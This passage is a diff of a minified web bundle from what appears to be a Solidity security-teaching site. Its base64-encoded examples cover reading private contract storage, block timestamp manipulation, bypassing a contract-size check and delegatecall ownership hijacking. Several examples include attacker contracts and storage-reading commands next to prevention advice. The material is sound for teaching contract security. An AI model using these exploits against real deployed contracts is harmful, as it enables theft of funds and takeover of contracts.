oeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],Zk=`

                                    Vulnerability

                                    +`,uk=({prev:s,next:a})=>r.jsx(A,{version:Ik,title:dk,description:Ck,html:Ak,prev:s,next:a,codes:jk}),yk="0.8.24",mk="Accessing Private Data",bk="An example of accessing private data from a Solidity smart contract",wk=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],kk=`

                                    Vulnerability

                                    All data on a smart contract can be read.

                                    Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

                                    // SPDX-License-Identifier: MIT
@@ -9357,7 +9357,7 @@ web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace
 
                                      
 
                                    • Don't store sensitive information on the blockchain.
                                      • 
 
                                    
-`,Wk=({prev:s,next:a})=>r.jsx(A,{version:mk,title:bk,description:wk,html:Zk,prev:s,next:a,codes:kk}),Bk="0.8.24",Gk="Block Timestamp Manipulation",Vk="An example of a Solidity contract vulnerable to block timestamp manipulation",fk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],Yk=`
                                    Vulnerability
                                    
+`,Zk=({prev:s,next:a})=>r.jsx(A,{version:yk,title:mk,description:bk,html:kk,prev:s,next:a,codes:wk}),Wk="0.8.24",Bk="Block Timestamp Manipulation",Gk="An example of a Solidity contract vulnerable to block timestamp manipulation",Vk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],fk=`
                                    Vulnerability
                                    
 
                                    block.timestamp can be manipulated by miners with the following constraints
                                    
 
                                      
 
                                    • it cannot be stamped with an earlier time than its parent
                                      • 
@@ -9402,7 +9402,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
 
                                        
 
                                      • Don't use block.timestamp for a source of entropy and random number
                                        • 
 
                                      
-`,Xk=({prev:s,next:a})=>r.jsx(A,{version:Bk,title:Gk,description:Vk,html:Yk,prev:s,next:a,codes:fk}),Rk="0.8.24",vk="Bypass Contract Size Check",Nk="An example of bypassing contract size check",Hk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],Fk=`
                                      Vulnerability
                                      
+`,Yk=({prev:s,next:a})=>r.jsx(A,{version:Wk,title:Bk,description:Gk,html:fk,prev:s,next:a,codes:Vk}),Xk="0.8.24",vk="Bypass Contract Size Check",Rk="An example of bypassing contract size check",Nk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],Hk=`
                                      Vulnerability
                                      
 
                                      If an address is a contract then the size of code stored at the address will be greater than 0 right?
                                      
 
                                      Let's see how we can create a contract with code size returned by extcodesize equal to 0.
                                      
 
                                      // SPDX-License-Identifier: MIT
@@ -9450,7 +9450,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
         Target(_target).protected();
     }
 }
-
                                      `,Kk=({prev:s,next:a})=>r.jsx(A,{version:Rk,title:vk,description:Nk,html:Fk,prev:s,next:a,codes:Hk}),Mk="0.8.24",Sk="Delegatecall",xk="An example of exploits using delegatecall in Solidity",Jk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWR